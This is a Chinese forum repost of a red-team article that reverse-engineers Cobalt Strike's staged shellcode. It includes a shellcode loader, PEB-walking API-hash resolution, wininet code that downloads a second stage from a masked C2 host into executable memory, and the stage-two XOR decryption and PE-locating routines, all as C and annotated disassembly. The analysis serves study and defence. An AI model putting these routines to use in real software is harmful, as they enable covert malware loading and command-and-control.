安全矩阵

 找回密码
 立即注册
搜索
查看: 918|回复: 0

细谈CS分离式shellcode的加载之旅

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-12-2 21:00:12 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-12-2 20:59 编辑


细谈CS分离式shellcode的加载之旅
原文链接:细谈CS分离式shellcode的加载之旅
维生素泡腾片 红队蓝军  2022-12-02 11:23 发表于湖北
准备工作
为了更好的分析,做最简单,最方便的准备工作。
首先,用裸ip直接生成一个cs的shellcode,用的是分离式的
编辑
然后生成的是x86的,也就是32位的c语言的shellcode。
编辑
生成代码其实就是一个大小千字节左右的,无符号字符数组,把这段16进制数放到010editor(一个常用的编辑工具)里查看,除了执行代码外,还有一部分写死的数据,比如User-Agent,IP或域名等。
编辑
就把这段代码加载到内存去执行,来进一步分析,加载的代码如下:
  1. unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";

  2. void start()
  3. {
  4.     printf("begin....");
  5.     //分配内存,可读可写可执行
  6.     char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  7.     memcpy(start, buf, sizeof(buf));
  8.     __asm
  9.     {
  10.         mov eax, start
  11.         call eax
  12.     }
  13. }
复制代码
我是用vs进行编译生成的,为了方便做一些修改,关掉随机基址
编辑
如果运行环境(虚拟机)和编译环境(物理机)不同,可以把运行库改成MTD,省的运行时候缺少模块报错,然后生成即可
编辑
1.第一阶段
因为类似文章不少,所以我不卖关子,分离式shellcode第一阶段的主要任务是从远端再次加载一段shellcode,然后加载进入内存进行执行,所以我们来看他是如何获取与加载的1.1功能函数
把生成的exe文件放到X64dbg中来调试(32位的),进入之后先跳了两次,获取了一下当前EIP位置
//利用这种方式保存下一条语句的地址,即EIP,而这个位置很关键call xxx其他语句pop ebp然后跳到的位置是一段连续的,非常有规律的代码段,可以大胆推测,这是在调用一个统一的函数,而传入的参数的特点是,第一个参数(入栈顺序和参数顺序相反)是一串4个字节大小的16进制数,其他参数各有不同。
而这第一个参数应该就是传说中的特征码
编辑
我们来跟进看一下这个所谓的“函数”做了什么,首先刚刚传入的参数中,除了特征码外,还有一个字符数组,其ascii值对应的字符刚好就是‘wininet’,想必是要加载这个模块吧,那我们就带着这个问号,来看后面的执行过程
编辑
1.1.1获取模块基址
第一段:了解的师傅会很熟悉,在三环fs寄存器存放的一个叫做TEB的结构体,也就是线程环境块,结构如下:
编辑
这个结构体位于0x30的位置,保存了当前的PEB,也就是进程环境块,该结构体如下:
  1. //0x1000 bytes (sizeof)
  2. struct _TEB
  3. {
  4.     struct _NT_TIB NtTib;                                                   //0x0
  5.     VOID* EnvironmentPointer;                                               //0x1c
  6.     struct _CLIENT_ID ClientId;                                             //0x20
  7.     VOID* ActiveRpcHandle;                                                  //0x28
  8.     VOID* ThreadLocalStoragePointer;                                        //0x2c
  9.     //目标位置
  10.     struct _PEB* ProcessEnvironmentBlock;                                   //0x30
  11.     ULONG LastErrorValue;                                                   //0x34
  12.     ULONG CountOfOwnedCriticalSections;                                     //0x38
  13.     VOID* CsrClientThread;                                                  //0x3c

  14.     //...(省略)

  15.     VOID* ResourceRetValue;                                                 //0xfe0
  16.     VOID* ReservedForWdf;                                                   //0xfe4
  17.     ULONGLONG ReservedForCrt;                                               //0xfe8
  18.     struct _GUID EffectiveContainerId;                                      //0xff0
  19. };
复制代码
PEB结构如下:而这个结构中位于0xc的部分有一个_PEB_LDR_DATA类型的结构体指针,这里存储着描述进程结构链表的数据
  1. //0x480 bytes (sizeof)
  2. struct _PEB
  3. {
  4.     UCHAR InheritedAddressSpace;                                            //0x0
  5.     UCHAR ReadImageFileExecOptions;                                         //0x1
  6.     UCHAR BeingDebugged;                                                    //0x2
  7.     union
  8.     {
  9.         UCHAR BitField;                                                     //0x3
  10.         struct
  11.         {
  12.             UCHAR ImageUsesLargePages:1;                                    //0x3
  13.             UCHAR IsProtectedProcess:1;                                     //0x3
  14.             UCHAR IsImageDynamicallyRelocated:1;                            //0x3
  15.             UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
  16.             UCHAR IsPackagedProcess:1;                                      //0x3
  17.             UCHAR IsAppContainer:1;                                         //0x3
  18.             UCHAR IsProtectedProcessLight:1;                                //0x3
  19.             UCHAR IsLongPathAwareProcess:1;                                 //0x3
  20.         };
  21.     };
  22.     VOID* Mutant;                                                           //0x4
  23.     VOID* ImageBaseAddress;                                                 //0x8
  24.     //目标位置
  25.     struct _PEB_LDR_DATA* Ldr;                                              //0xc
  26.     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x10

  27.     //...(省略)

  28.     ULONG NtGlobalFlag2;                                                    //0x478
  29. };
复制代码
_PEB_LDR_DATA结构体如下:
在这个结构体中,位于0xc,0x14,0x1c三处,有三个LIST_ENTRY类型的结构体,这三个结构体是一回事,都是保存着模块基址的链表,只不过是以不同顺序排列的链表,加载顺序,内存中的顺序,初始化模块的顺序
  1. //0x30 bytes (sizeof)
  2. struct _PEB_LDR_DATA
  3. {
  4.     ULONG Length;                                                           //0x0
  5.     UCHAR Initialized;                                                      //0x4
  6.     VOID* SsHandle;                                                         //0x8
  7.     struct _LIST_ENTRY InLoadOrderModuleList;                               //0xc
  8.     //目标位置
  9.     struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x14
  10.     struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x1c
  11.     VOID* EntryInProgress;                                                  //0x24
  12.     UCHAR ShutdownInProgress;                                               //0x28
  13.     VOID* ShutdownThreadId;                                                 //0x2c
  14. };
复制代码
LIST_ENTRY这个结构很有意思,里面只有两个元素,分别是下一个LIST_ENTRY和上一个LIST_ENTRY的地址
  1. struct _LIST_ENTRY
  2. {
  3.     struct _LIST_ENTRY* Flink;                                              //0x0
  4.     struct _LIST_ENTRY* Blink;                                              //0x4
  5. };
复制代码
实际的结构会如图所示:存在于不同的结构体中,通过偏移的方式访问链表所挂结构体的不同位置
编辑
而在_PEB_LDR_DATA结构体中的LIST_ENTRY中的地址,所指向的结构体是_LDR_DATA_TABLE_ENTRY
结构如下:
  1. struct _LDR_DATA_TABLE_ENTRY
  2. {
  3.     struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
  4.     struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
  5.     struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
  6.     VOID* DllBase;                                                          //0x18
  7.     VOID* EntryPoint;                                                       //0x1c
  8.     ULONG SizeOfImage;                                                      //0x20
  9.     struct _UNICODE_STRING FullDllName;                                     //0x24
  10.     //目标位置
  11.     struct _UNICODE_STRING BaseDllName;                                     //0x2c

  12.     //...(省略)

  13.     ULONG ReferenceCount;                                                   //0x9c
  14.     ULONG DependentLoadFlags;                                               //0xa0
  15.     UCHAR SigningLevel;                                                     //0xa4
  16. };
复制代码
从上面的结构可以看出:
_PEB_LDR_DATA里的_LIST_ENTRY里的首个元素FLINK,指向_LDR_DATA_TABLE_ENTRY里的_LIST_ENTRY的首地址,shellcode里使用的是InMemoryOrderModuleList,所以在_LDR_DATA_TABLE_ENTRY中位于首地址的0x8处
有点类似下图的样子:
编辑
在_LDR_DATA_TABLE_ENTRY这个结构体中,第0x24的位置是一个_UNICODE_STRING类型的结构体,从定义的变量名BaseDllName也能看出来,报错的是模块的名,这个结构体如下:
  1. //0x8 bytes (sizeof)
  2. struct _UNICODE_STRING
  3. {
  4.     USHORT Length;                                                          //0x0
  5.     //最大长度,描述的是下面的Buffer的按照对齐的最大长度,两个字节大小的数值
  6.     USHORT MaximumLength;                                                   //0x2
  7.     WCHAR* Buffer;                                                          //0x4
  8. };
复制代码

这时再回到shellcode的反汇编代码,就可以知道:
  1. mov ebp,esp
  2. xor edx,edx
  3. mov edx,dword ptr fs:[edx+30]
  4. mov edx,dword ptr ds:[edx+C]

  5. //获取描述第一个模块的_LDR_DATA_TABLE_ENTRY其中的0x8位置
  6. mov edx,dword ptr ds:[edx+14]

  7. //获取该模块BaseDllName的buffer,即模块名
  8. mov esi,dword ptr ds:[edx+28]

  9. //获取该模块名的最大长度
  10. movzx ecx,word ptr ds:[edx+26]
  11. xor edi,edi
  12. xor eax,eax
复制代码
1.1.2计算哈希
如下图可以看到,第一个模块是exe文件本身
接下来一段代码,就十分有趣了,是计算哈希值的算法,也是比较传统的方式
大概意思是,依次从文件名的字符数组中读取一个字符,大于0x61就减0x20(相当于小写变大写),然后累加,累加前要把上次的求和循环右移0xD位
编辑
具体代码提现就是如下:
  1. DWORD GetModuleHash(PWCHAR str,DWORD strlen)
  2. {
  3.     DWORD result = 0;
  4.     char * temp = (PCHAR)str;
  5.     for (int i = 0; i < strlen; i++)
  6.     {
  7.         //循环右移
  8.         result = ((result >> 0xD) | (result << (0x20 - 0xD)));
  9.         if (temp[i] >= 0x61)
  10.         {
  11.             temp[i] -= 0x20;
  12.         }
  13.         result += temp[i];
  14.     }
  15.     //printf("%x", result);
  16.     return result;
  17. }
复制代码
1.1.3判断导出表
接下来的一段,了解PE文件结构的时候,定然一眼看穿,我们已经大概感知到了,找到模块不是目的,找到模块里的函数地址才应该是最终目的。所以首先要判断的是有没有导出表
编辑
从上文的汇编代码中已经直到,edx寄存器,保存了_LDR_DATA_TABLE_ENTRY其中的0x8位置,其中0x18是DllBase,也就是模块基址。
模块的0x30位置是PE文件NT头距离DOS头的偏移,距离NT头0x78的位置是可选PE头的数据目录(是一个数组),其中第一个数组的第一个位置是导出表的RVA(也就是距离模块基址的偏移地址),如果为0,那就是没有导出表
因为我们启动的exe没有导出任何函数,所以这部分为空,我们打断点,跑到下一模块
1.1.4遍历导出表,计算函数哈希
下一个模块就是ntdll.dll,然后进行的内容就是,遍历导出表,计算函数名的哈希
编辑
通过上文找到的偏移地址(RVA)加上模块基址,指向的地址就是下面这样一个结构体,这个结构体是关于导出表的一个描述符,里面最后五个成员尤为重要
  1. typedef struct _IMAGE_EXPORT_DIRECTORY {
  2.     DWORD   Characteristics;
  3.     DWORD   TimeDateStamp;
  4.     WORD    MajorVersion;
  5.     WORD    MinorVersion;
  6.     DWORD   Name;
  7.     DWORD   Base;
  8.     DWORD   NumberOfFunctions;//函数地址导出的函数数量
  9.     DWORD   NumberOfNames;//函数姓名导出的函数数量
  10.     DWORD   AddressOfFunctions;     // RVA 导出函数地址表
  11.     DWORD   AddressOfNames;         // RVA 导出函数名称表
  12.     DWORD   AddressOfNameOrdinals;  // RVA 导出函数序号表
  13. } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
复制代码
其中,AddressOfFunctions指向的是一个数组,每个元素是4个字节,保存的是函数的地址偏移(RVA)
AddressOfNames指向的是一个数组,每个元素4个字节,保存的是函数名称的地址偏移(RVA)
AddressOfNameOrdinals指向的是一个数组,每个元素2个字节,数组下标的顺序AddressOfNames数组的顺序,对应的值(序号)是在AddressOfFunctions中的下标,也就是通过名称找到名称表中的下标,然后在序号表找到对应的序号,通过序号在地址表找到地址
具体情况如图所示:
编辑
不过正常的顺序是找到名字,先计算哈希,然后进行判断,如果判断符合再去找到对应地址表中函数的地址
哈希的计算方式跟模块计算相差不多,除了不做大小写变形外,就是函数名和模块名的区别,函数名是CHAR,而模块名是WCHAR,所以计算函数名的时候,不存储字符长度,只判断字符串是否到了结尾(最后一位为0)
函数名哈希的计算代码如下:
  1. DWORD GetFuncHash(PCHAR str)
  2. {
  3.     DWORD result = 0;
  4.     char * strTemp = str;
  5.     for (int i = 0; i <= strlen(str); i++)
  6.     {
  7.         result = (result >> 0xD) | (result << (0x20 - 0xD));
  8.         result += strTemp[i];
  9.     }
  10.     return result;
  11. }
复制代码
1.1.5判断哈希,获取函数地址并调用
下面要做的事情,就是判断哈希值是否正确,然后获取第一个函数
如何判断:如图所示,把模块的哈希值和函数的哈希值求和,然后与传入的那个哈希值比较,相等就是找到了对应的函数。
确定为要找的函数,然后通过上文的方式找到对应的函数地址
编辑
找到之后就如图所示,调用这个函数,注意画箭头的地址,push进栈的就是调用函数返回的位置,可以记住它,这个位置其实就是调用功能函数后面要执行的代码,也就是调用本函数后返回的位置
(所以这个调用并没有用call,而是用push 地址,jmp 函数地址 的方式)
编辑
至此该功能函数的执行过程大概有了一个了解,代码类似如下(其他部分在上文):
  1. DWORD GetFuncAddr(DWORD moduleBase, DWORD modulehash,DWORD targetHash)
  2. {
  3.     DWORD funcAddr = 0;
  4.     PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)moduleBase;
  5.     PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + moduleBase);
  6.     PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;
  7.     //获取导出表描述符的地址,并判断是否有导出表
  8.     DWORD pExportRva = pOptionHeader->DataDirectory[0].VirtualAddress;
  9.     if (pOptionHeader->DataDirectory[0].VirtualAddress == 0)
  10.     {
  11.         return funcAddr;
  12.     }
  13.     PIMAGE_EXPORT_DIRECTORY pExportTableVa = PIMAGE_EXPORT_DIRECTORY
  14.         (pOptionHeader->DataDirectory[0].VirtualAddress + moduleBase);
  15.     //获取三张导出表
  16.     DWORD * nameTable = (DWORD*)(pExportTableVa->AddressOfNames + moduleBase);
  17.     DWORD * funcTable = (DWORD*)(pExportTableVa->AddressOfFunctions + moduleBase);
  18.     WORD * orderTable = (WORD*)(pExportTableVa->AddressOfNameOrdinals + moduleBase);

  19.     //遍历姓名表,计算哈希,判断是否为目标函数
  20.     for (int i = 0; i < pExportTableVa->NumberOfNames; i++)
  21.     {
  22.         DWORD tempHash = GetFuncHash((PCHAR)(nameTable[i] + moduleBase));
  23.         if (tempHash + modulehash == targetHash)
  24.         {
  25.             funcAddr = funcTable[orderTable[i]] + moduleBase;
  26.             break;
  27.         }
  28.     }
  29.     return funcAddr;
  30. }

  31. /*
  32. *通过hash,获取对应函数的地址
  33. */
  34. DWORD GetAddrByHash(DWORD hashCode)
  35. {
  36.     DWORD target = 0;
  37.     PLIST_ENTRY mmModuleListFirst = NULL;
  38.     //获取链表
  39.     __asm
  40.     {
  41.             mov eax, dword ptr fs : [0]
  42.             mov eax, [eax + 0x30]
  43.             mov eax, [eax + 0xc]
  44.             mov eax, [eax + 0x14]
  45.             mov mmModuleListFirst, eax
  46.     }

  47.     if (mmModuleListFirst == NULL)
  48.     {
  49.         printf("链表获取失败\n");
  50.         return target;
  51.     }


  52.     PLIST_ENTRY mmModuleListNext = mmModuleListFirst->Flink;
  53.     //遍历链表
  54.     while (mmModuleListNext != mmModuleListFirst)
  55.     {
  56.         PLDR_DATA_TABLE_ENTRY pldrTableEntry = (PLDR_DATA_TABLE_ENTRY)((DWORD)mmModuleListNext - 0x8);
  57.         char * buff = (char *)malloc(pldrTableEntry->BaseDllName.MaximumLength);
  58.         memcpy(buff, pldrTableEntry->BaseDllName.Buffer, pldrTableEntry->BaseDllName.MaximumLength);
  59.         //计算模块名的哈希
  60.         DWORD moduleHash = GetModuleHash((PWCHAR)buff, pldrTableEntry->BaseDllName.MaximumLength);

  61.         //计算函数名的哈希,具体函数在上面
  62.         target = GetFuncAddr((DWORD)pldrTableEntry->DllBase, moduleHash, hashCode);
  63.         if (target != 0)
  64.         {
  65.             break;
  66.         }
  67.         mmModuleListNext = mmModuleListNext->Flink;
  68.     }

  69.     return target;
  70. }
复制代码
1.2调用顺序
了解了这个功能函数,后面的事情似乎会变得更加顺利,因为后面的事情无非就是
参数 + 特征码 --> 功能函数 --> 获取目标函数 -->调用执行
第一次调用
  1. push 0x74656E
  2. push 0x696E6977
  3. push esp
  4. push 0x726774C
  5. call ebp

  6. //执行函数
  7. HMODULE hWinnet = LoadLibraryA("wininet");
复制代码
第二次调用
  1. push edi    //edi都为0
  2. push edi
  3. push edi
  4. push edi
  5. push edi
  6. push 0xA779563A
  7. call ebp

  8. //eax=<wininet.InternetOpenA>
  9. //执行函数
  10. HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
复制代码
获取到一个HINTERNET类型的句柄
第三次调用
  1. push ecx  //ecx == 0
  2. push ecx
  3. push 0x3    //服务类型,http
  4. push ecx
  5. push ecx
  6. push 0x7561 //端口 16进制
  7. push ebx    //ebx == 请求连接的域名或ip字符串
  8. push eax    //eax == 上次调用获取的句柄(第一个参数)
  9. push C69F8957
  10. call ebp

  11. //eax=<wininet.InternetConnectA>
  12. //执行函数
  13. hInternet = InternetConnectA(hInternet, "x.x.x.x", 30048, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
复制代码
建立一个internet链接
第四次调用
  1. push edx    //edx == 0
  2. push 0x84400200
  3. push edx
  4. push edx
  5. push edx
  6. push ebx    //域名后跟的要访问的文件名
  7. push edx   
  8. push eax    //上次调用返回的句柄
  9. push 3B2E55EB
  10. call ebp

  11. //eax=<wininet.HttpOpenRequestA>
  12. //执行函数
  13. hInternet = HttpOpenRequestA(hInternet, NULL, "/rAED", NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
复制代码
第五次调用
  1. push edi    //edi == 0
  2. push edi
  3. push 0xFFFFFFFF     //请求头长度,-1就当成ascii字符串到\0结束
  4. push ebx    //User-Agent,请求头信息等
  5. push esi    //上次调用返回的句柄
  6. push 0x7B18062D
  7. call ebp

  8. //eax=<wininet.HttpSendRequestA>
  9. //执行函数
  10. CHAR header[] = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)\n\r";
  11. HttpSendRequestA(hInternet, header, -1, NULL, 0);
复制代码
这次调用发送了http请求
第六次调用
  1. push 0x315E2145
  2. call ebp

  3. //eax=<user32.GetDesktopWindow>
  4. //执行函数
  5. HWND hWnd = GetDesktopWindow();
复制代码
第七次调用
  1. push edi
  2. push 0x7
  3. push ecx
  4. push esi
  5. push eax
  6. push 0xBE057B7
  7. call ebp

  8. //eax=<wininet.InternetErrorDlg>
  9. //执行函数
  10. InternetErrorDlg(hWnd, hInternet, xxx, 0x7, NULL);
复制代码
会判断是否返回ERROR_INTERNET_FORCE_RETRY,0x2F00,没有问题继续调用
第八次调用
  1. push 0x40
  2. push 0x1000
  3. push 0x400000   //分配一整个物理页,小页4kb
  4. push edi    //edi == 0
  5. push E553A458
  6. call ebp

  7. //eax=<kernel32.VirtualAlloc>
  8. //函数执行
  9. LPVOID target = VirtualAlloc(0,0x400000,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
复制代码
这次调用开始就进入关键步骤了,看到了老演员,开始分配内存,那可以推断出后面就是写内容到内存进而进一步执行。
第九次调用
  1. push ecx    //保存环境
  2. push ebx   
  3. mov edi,esp

  4. //函数开始位置
  5. push edi    //
  6. push 2000
  7. push ebx
  8. push esi
  9. push E2899612
  10. call ebp

  11. //eax=<wininet.InternetReadFile>
复制代码
循环读取internet请求的内容到分配的内存中,直到读取不到为止,edi指向的地址就是每次读取的到字节数
编辑
代码表示类似于如下情况:
  1. LPVOID target = VirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

  2. DWORD realRead = 0;
  3. BOOL bRes = 0;
  4. do
  5. {
  6.     bRes = InternetReadFile(hInternet, target, 0x2000, &realRead);
  7.     if (bRes == FALSE)
  8.     {
  9.         break;
  10.     }
  11.     target = (LPVOID)((DWORD)target+0x2000);

  12. } while (realRead != 0);
复制代码
最后通过retn调回到栈顶的地址,也就是新加载到内存中的shellcode的首地址,至此第一阶段结束。
2.第二阶段
第二阶段主要就是执行从远程加载到内存的shellcode,会有一些解密处理,还有一些跟第一阶段相似的内容,我们来看一看吧
2.1动态解密
为了方便,我们利用x64dbg把第一阶段加载到内存的shellcode,dump到本地文件(具体方法,下一段dump有写),然后重新开一个程序,以读取文件到内存的方式进行加载执行
以如下代码作为开始:
  1. void start2nd()
  2. {
  3.     HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL,
  4.         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  5.     LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  6.     DWORD realRead = 0;
  7.     ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);
  8.     ((void(*)())buffer)();
  9. }
复制代码
首先经过一段反复横跳,获取开始执行解密代码的EIP,然后就进入了如图所示的解密部分。
其中ESI寄存器,存储的是首次位置,也就是图中标着“钥匙”的位置
编辑
然后用“钥匙”跟第二个DWORD(4个字节)求异或得到了解密长度,存放在了edx寄存器中
然后便开始从第三个DWORD开始解密
解密方式:
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 新数据 ^ 旧钥匙
等价于:
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 旧数据
代码类似如下:
  1. void decode(DWORD*start)
  2. {
  3.     DWORD *begin = start;
  4.     DWORD key = begin[0];
  5.     DWORD len = begin[1] ^ begin[0];
  6.     begin = begin + 2;
  7.     for (int i = 0; i < len; i++)
  8.     {
  9.         DWORD newKey = begin[i];
  10.         begin[i] = begin[i] ^ key;
  11.         key = newKey;
  12.     }
  13. }
复制代码
2.2定位PE
经过解密之后,又反复跳了几次,应该都是为了获取一些定位位置,然后经过了这样一段,老实说我当时也没搞清楚这段是在干嘛(用来检查堆栈?还是定义临时变量,数组等等)
编辑
经过这段,进入了一个函数中,这个函数就是用来定位PE文件的,大家会想定位什么PE?,其实,在这段内存中藏了一个PE文件,解密之后,就已经原形毕露了。所以,需要通过这个函数找到对应的PE文件的头部
大致的结构是,从某个最后的位置开始一个字节一个字节的向后,依次判断几个关键点,具体看下文:
编辑
  1. v//将起始地址存入局部变量中[ebp-8]
  2. 02587EE9  | 8945 F8           | mov dword ptr ss:[ebp-8],eax       |
  3.     //相当于while(true)
  4. 02587EEC  | B8 01000000       | mov eax,1                          |
  5. 02587EF1  | 85C0              | test eax,eax                       |
  6. 02587EF3  | 74 47             | je 2587F3C                         |
  7.     //从该地址取两个字节判断是否等于0x5a4d也就是dos文件头的标志
  8. 02587EF5  | 8B4D F8           | mov ecx,dword ptr ss:[ebp-8]       |
  9. 02587EF8  | 0FB711            | movzx edx,word ptr ds:[ecx]        |
  10. 02587EFB  | 81FA 4D5A0000     | cmp edx,5A4D                       |
  11. 02587F01  | 75 2E             | jne 2587F31                        |
  12.     //判断dos头中e_lfanew属性值是否在0x40到0x400之间,也就是NT头的偏移位置
  13. 02587F03  | 8B45 F8           | mov eax,dword ptr ss:[ebp-8]       |
  14. 02587F06  | 8B48 3C           | mov ecx,dword ptr ds:[eax+3C]      |
  15. 02587F09  | 894D FC           | mov dword ptr ss:[ebp-4],ecx       |
  16. 02587F0C  | 837D FC 40        | cmp dword ptr ss:[ebp-4],40        | 40:'@'
  17. 02587F10  | 72 1F             | jb 2587F31                         |
  18. 02587F12  | 817D FC 00040000  | cmp dword ptr ss:[ebp-4],400       |
  19. 02587F19  | 73 16             | jae 2587F31                        |
  20.     //判断NT头的位置是否为0x4550,也就是NT头的标志
  21. 02587F1B  | 8B55 FC           | mov edx,dword ptr ss:[ebp-4]       |
  22. 02587F1E  | 0355 F8           | add edx,dword ptr ss:[ebp-8]       |
  23. 02587F21  | 8955 FC           | mov dword ptr ss:[ebp-4],edx       |
  24. 02587F24  | 8B45 FC           | mov eax,dword ptr ss:[ebp-4]       |
  25. 02587F27  | 8138 50450000     | cmp dword ptr ds:[eax],4550        |
  26. 02587F2D  | 75 02             | jne 2587F31                        |
  27.     //满足条件,返回pe文件起始
  28. 02587F2F  | EB 0B             | jmp 2587F3C                        |
  29. 02587F31  | 8B4D F8           | mov ecx,dword ptr ss:[ebp-8]       |
  30.     //没有找到位置减一,回到循环入口
  31. 02587F34  | 83E9 01           | sub ecx,1                          |
  32. 02587F37  | 894D F8           | mov dword ptr ss:[ebp-8],ecx       |
  33. 02587F3A  | EB B0             | jmp 2587EEC                        |
  34. 02587F3C  | 8B45 F8           | mov eax,dword ptr ss:[ebp-8]       |
复制代码
代码可以类似如下:
  1. PCHAR GetPeAddr(PCHAR start)
  2. {
  3.     PCHAR begin = start;
  4.     PCHAR target = NULL;
  5.     while (1)
  6.     {
  7.         if (*(WORD*)begin == 0x5A4D)
  8.         {
  9.             DWORD e_lfanew = *(DWORD*)((DWORD)begin + 0x3c);
  10.             if (e_lfanew>=0x40 && e_lfanew < 0x400)
  11.             {
  12.                 DWORD* ntHead = (DWORD*)((DWORD)begin + e_lfanew);
  13.                 if (*ntHead == 0x4550)
  14.                 {
  15.                     target = begin;
  16.                     break;
  17.                 }
  18.             }
  19.         }
  20.         begin++;
  21.     }
  22.     return target;
  23. }
复制代码
2.3获取api
当找到了PE文件的位置,为了进一步处理,一定是需要一些系统API辅助,所以,就进入了下一个call,这个call传入了一个地址(就是一开始没理解的云里雾里的一段),这里我推测这是一个数组,是用来盛装找到的api地址
编辑
然后我们跟进去
如果经过了上一部分,到这部分应该反而很轻松,因为满眼都是老演员,这部分就是遍历模块
编辑
如果看的眼花缭乱,那是因为多了很多局部变量,给他去掉再来看:
  1. mov eax,dword ptr fs:[30]
  2. mov eax,dword ptr ds:[eax+C]
  3. mov eax,dword ptr ds:[eax+14]
  4. cmp eax,0
复制代码
获得了_PEB_LDR_DATA结构体
  1. //获取_PEB_LDR_DATA
  2. 02477F79  | 8B55 EC           | mov edx,dword ptr ss:[ebp-14]      |
  3.     //获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的buffer
  4. 02477F7C  | 8B42 28           | mov eax,dword ptr ds:[edx+28]      |
  5. 02477F7F  | 8945 DC           | mov dword ptr ss:[ebp-24],eax      |
  6.     //获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的length
  7. 02477F82  | 8B4D EC           | mov ecx,dword ptr ss:[ebp-14]      |
  8. 02477F85  | 66:8B51 24        | mov dx,word ptr ds:[ecx+24]        |
  9. 02477F89  | 66:8955 D8        | mov word ptr ss:[ebp-28],dx        |
  10.     //至此:模块名称的地址--> [ebp-24] 名称长度--> [ebp-28]

  11.     //下面跟之前计算模块名称哈希的方式一样,循环右移,求和
  12. 02477F8D  | C745 FC 00000000  | mov dword ptr ss:[ebp-4],0         |
  13. 02477F94  | 8B45 FC           | mov eax,dword ptr ss:[ebp-4]       |
  14.     //[ebp-4] --> 存放累加的和 先循环右移
  15. 02477F97  | C1C8 0D           | ror eax,D                          |
  16. 02477F9A  | 8945 FC           | mov dword ptr ss:[ebp-4],eax       |
  17.     //取模块名称的一个一个字母
  18. 02477F9D  | 8B4D DC           | mov ecx,dword ptr ss:[ebp-24]      |
  19. 02477FA0  | 0FB611            | movzx edx,byte ptr ds:[ecx]        |
  20.     //不小于61,减0x20,然后累加到[ebp-4]
  21. 02477FA3  | 83FA 61           | cmp edx,61                         |
  22. 02477FA6  | 7C 12             | jl 2477FBA                         |
  23. 02477FA8  | 8B45 DC           | mov eax,dword ptr ss:[ebp-24]      |
  24. 02477FAB  | 0FB608            | movzx ecx,byte ptr ds:[eax]        |
  25. 02477FAE  | 8B55 FC           | mov edx,dword ptr ss:[ebp-4]       |
  26.     //这里注意,都是用lea指令累加
  27. 02477FB1  | 8D440A E0         | lea eax,dword ptr ds:[edx+ecx-20]  |
  28. 02477FB5  | 8945 FC           | mov dword ptr ss:[ebp-4],eax       |
  29. 02477FB8  | EB 0C             | jmp 2477FC6                        |
  30.     //小于0x61,直接累加到[ebp-4]
  31. 02477FBA  | 8B4D DC           | mov ecx,dword ptr ss:[ebp-24]      |
  32. 02477FBD  | 0FB611            | movzx edx,byte ptr ds:[ecx]        |
  33. 02477FC0  | 0355 FC           | add edx,dword ptr ss:[ebp-4]       |
  34. 02477FC3  | 8955 FC           | mov dword ptr ss:[ebp-4],edx       |
  35.     //名称地址+1
  36. 02477FC6  | 8B45 DC           | mov eax,dword ptr ss:[ebp-24]      |
  37. 02477FC9  | 83C0 01           | add eax,1                          |
  38. 02477FCC  | 8945 DC           | mov dword ptr ss:[ebp-24],eax      |
  39.     //名称长度-1
  40. 02477FCF  | 66:8B4D D8        | mov cx,word ptr ss:[ebp-28]        |
  41. 02477FD3  | 66:83E9 01        | sub cx,1                           |
  42. 02477FD7  | 66:894D D8        | mov word ptr ss:[ebp-28],cx        |
  43.     //判断长度是否为0
  44. 02477FDB  | 0FB755 D8         | movzx edx,word ptr ss:[ebp-28]     |
  45. 02477FDF  | 85D2              | test edx,edx                       |
  46. 02477FE1  | 75 B1             | jne 2477F94                        |
  47.     //跟模块hash比较
  48. 02477FE3  | 817D FC 5BBC4A6A  | cmp dword ptr ss:[ebp-4],6A4ABC5B  |
复制代码
通过以上内容可知,只需要一个模块的哈希,这个hash对应的模块名是Kernel32.dll
为了获取api地址,下一步一定就是开始遍历模块导出表了
  1. //获取模块基址 Dllbase --> [ebp-18]
  2. 02477FFB  | 8B55 EC           | mov edx,dword ptr ss:[ebp-14]      |
  3. 02477FFE  | 8B42 10           | mov eax,dword ptr ds:[edx+10]      |
  4. 02478001  | 8945 E8           | mov dword ptr ss:[ebp-18],eax      |
  5.     //获取导出表地址RVA --> [ebp-c]
  6. 02478004  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      |
  7. 02478007  | 8B55 E8           | mov edx,dword ptr ss:[ebp-18]      |
  8. 0247800A  | 0351 3C           | add edx,dword ptr ds:[ecx+3C]      |
  9. 0247800D  | 8955 E0           | mov dword ptr ss:[ebp-20],edx      |
  10. 02478010  | 8B45 E0           | mov eax,dword ptr ss:[ebp-20]      |
  11. 02478013  | 83C0 78           | add eax,78                         |
